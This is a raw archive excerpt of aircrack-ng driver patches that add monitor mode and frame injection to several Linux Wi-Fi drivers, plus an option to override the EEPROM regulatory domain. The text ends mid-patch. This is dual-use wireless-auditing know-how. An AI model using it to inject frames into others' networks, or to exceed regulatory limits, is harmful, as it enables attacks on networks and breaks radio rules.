+ -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ 2006-06-06 10:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006_orig/symvers 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-08-12 13:11:33.000000000 -0400 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/rt2570-k2wrlz-1.6.1_2.6.24.patch0000644000000000000000000000355711031124735020357 0ustar rootrootdiff -Naur rt2570-k2wrlz-1.6.1/Module/rtusb_main.c rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c --- rt2570-k2wrlz-1.6.1/Module/rtusb_main.c 2007-07-05 18:41:51.000000000 +0200 +++ rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c 2008-06-27 10:48:28.000000000 +0200 @@ -1629,7 +1629,9 @@ netif_stop_queue(netdev); pAdapter->config = dev->config; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) SET_ETHTOOL_OPS(net_dev, &rt2x00_ethtool_ops); @@ -1650,7 +1652,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; {// find available @@ -1961,7 +1965,9 @@ netif_stop_queue(netdev); pAdapter->config = &dev->config->desc; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; @@ -1981,7 +1987,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 0) pAdapter->MLMEThr_pid= -1; @@ -2011,8 +2019,11 @@ for (i = 0; i < 8; i++) { sprintf(slot_name, pAdapter->net->name, i); - +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,24)) + for (device = first_net_device(&init_net); device != NULL; +#else for (device = first_net_device(); device != NULL; +#endif device = next_net_device(device)) { if (strncmp(device->name, slot_name, IFNAMSIZ) == 0) aircrack-ng-1.1/patches/hostap-kernel-2.6.18.patch0000644000000000000000000001722210761053203020211 0ustar rootrootdiff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c 2006-09-21 01:30:18.000000000 -0400 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.orig Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_cs.c.rej diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_hw.c 2006-09-21 01:30:18.000000000 -0400 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1031,6 +1060,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1466,6 +1499,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3156,6 +3193,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_hw.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:30:18.000000000 -0400 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:30:18.000000000 -0400 @@ -331,7 +331,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_main.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:30:18.000000000 -0400 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_pci.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:30:18.000000000 -0400 @@ -101,6 +101,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_plx.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:30:18.000000000 -0400 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.1/patches/ath5k-radiotap-fragfix-2.6.28-rc8-wl.patch0000644000000000000000000000262011121505706023006 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/attach.c b/drivers/net/wireless/ath5k/attach.c index 51d5698..49d82d7 100644 --- a/drivers/net/wireless/ath5k/attach.c +++ b/drivers/net/wireless/ath5k/attach.c @@ -317,9 +317,16 @@ struct ath5k_hw *ath5k_hw_attach(struct ath5k_softc *sc, u8 mac_version) goto err_free; } + /* Set MAC address */ + ret = ath5k_eeprom_read_mac(ah, mac); + if (ret) { + ATH5K_ERR(sc, "unable to read address from EEPROM: 0x%04x\n", + sc->pdev->device); + goto err_free; + } + - /* MAC address is cleared until add_interface */ ath5k_hw_set_lladdr(ah, mac); /* Set BSSID to bcast address: ff:ff:ff:ff:ff:ff for now */ memset(ah->ah_bssid, 0xff, ETH_ALEN); ath5k_hw_set_associd(ah, ah->ah_bssid, 0); diff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 9eb9871..ec0104f 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1182,7 +1182,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if ((info->flags & IEEE80211_TX_CTL_NO_ACK) && + !((info->flags & IEEE80211_TX_CTL_INJECTED) && + (ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.1/patches/mac80211_2.6.24.4_frag.patch0000644000000000000000000000111610776411434020016 0ustar rootroot# Patch to prevent mac80211 to clobber injected sequence numbers diff -bBur linux-2.6.24.4/net/mac80211/tx.c linux-2.6.24.4-sud/net/mac80211/tx.c --- linux-2.6.24.4/net/mac80211/tx.c 2008-01-24 23:58:37.000000000 +0100 +++ linux-2.6.24.4-sud/net/mac80211/tx.c 2008-04-05 16:43:19.000000000 +0200 @@ -281,6 +281,9 @@ { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TXRXD_TX_INJECTED)) + return TXRX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.1/patches/ar9170_regdomain_override.patch0000644000000000000000000000262411324503527021557 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ar9170/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ar9170/main.c 2010-01-16 02:20:36.000000000 +0300 @@ -53,6 +53,11 @@ module_param_named(ht, modparam_ht, bool, S_IRUGO); MODULE_PARM_DESC(ht, "enable MPDU aggregation."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + #define RATE(_bitrate, _hw_rate, _txpidx, _flags) { \ .bitrate = (_bitrate), \ .flags = (_flags), \ @@ -2687,6 +2692,14 @@ if (err) goto err_out; + if (modparam_override_eeprom_regdomain != -1) { + dev_err(pdev, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + dev_err(pdev, "Your card was not certified to operate on the domain you choosed.\n"); + dev_err(pdev, "This might result in a violation of your local regulatory rules.\n"); + dev_err(pdev, "Do not ever do that unless you really know what you do!\n"); + regulatory->current_rd = modparam_override_eeprom_regdomain; + } + err = ath_regd_init(regulatory, ar->hw->wiphy, ar9170_reg_notifier); if (err) aircrack-ng-1.1/patches/madwifi-old-r1417.patch0000644000000000000000000001015210761053203017646 0ustar rootrootdiff -ur madwifi-old/ath/if_ath.c patched_madwifi-old/ath/if_ath.c --- madwifi-old/ath/if_ath.c 2006-03-22 21:31:58.814779008 +0100 +++ patched_madwifi-old/ath/if_ath.c 2006-03-22 21:35:10.049706880 +0100 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1499,6 +1499,13 @@ if (index >= 0 && index < rt->rateCount) { txrate = rt->info[index].rateCode; } + } else { + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } } wh = (struct ieee80211_frame *) skb->data; diff -ur madwifi-old/ath/if_ath_pci.c patched_madwifi-old/ath/if_ath_pci.c --- madwifi-old/ath/if_ath_pci.c 2006-03-22 21:31:58.799781288 +0100 +++ patched_madwifi-old/ath/if_ath_pci.c 2006-03-22 21:36:54.983754480 +0100 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur madwifi-old/net80211/ieee80211_crypto.c patched_madwifi-old/net80211/ieee80211_crypto.c --- madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:31:48.848294144 +0100 +++ patched_madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:39:22.456335240 +0100 @@ -299,6 +299,11 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) { + flags |= IEEE80211_KEY_SWCRYPT; + } + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur madwifi-old/net80211/ieee80211_var.h patched_madwifi-old/net80211/ieee80211_var.h --- madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:31:48.912284416 +0100 +++ patched_madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:40:24.490904552 +0100 @@ -212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur madwifi-old/net80211/ieee80211_wireless.c patched_madwifi-old/net80211/ieee80211_wireless.c --- madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:31:48.880289280 +0100 +++ patched_madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:47:46.026780896 +0100 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.1/patches/prism54-svn-20050724.patch0000644000000000000000000000071310761053203017710 0ustar rootrootdiff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c --- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100 +++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200 @@ -758,9 +758,6 @@ pci_unmap_single(priv->pdev, buf->pci_addr, MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE); buf->pci_addr = 0; - if (buf->skb) - dev_kfree_skb(buf->skb); - buf->skb = NULL; } /* clean up data rx buffers */ aircrack-ng-1.1/patches/ath5k-injection-2.6.27-rc2.patch0000644000000000000000000000120711050052432021104 0ustar rootrootdiff --git a/drivers/net/wireless/ath5k/base.c b/drivers/net/wireless/ath5k/base.c index 217d506..4e7a949 100644 --- a/drivers/net/wireless/ath5k/base.c +++ b/drivers/net/wireless/ath5k/base.c @@ -1219,7 +1219,9 @@ ath5k_txbuf_setup(struct ath5k_softc *sc, struct ath5k_buf *bf) bf->skbaddr = pci_map_single(sc->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - if (info->flags & IEEE80211_TX_CTL_NO_ACK) + if (info->flags & IEEE80211_TX_CTL_NO_ACK || + (info->flags & IEEE80211_TX_CTL_INJECTED && + !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) flags |= AR5K_TXDESC_NOACK; pktlen = skb->len; aircrack-ng-1.1/patches/b43-injection-2.6.26-rc8-wl.patch0000644000000000000000000000362511031533734021123 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index bf6f6c1..735f2d0 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,9 +315,15 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; - if (!ieee80211_is_pspoll(fctl)) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !ieee80211_is_pspoll(fctl)) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index a354078..d4d6e61 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(((fctl & 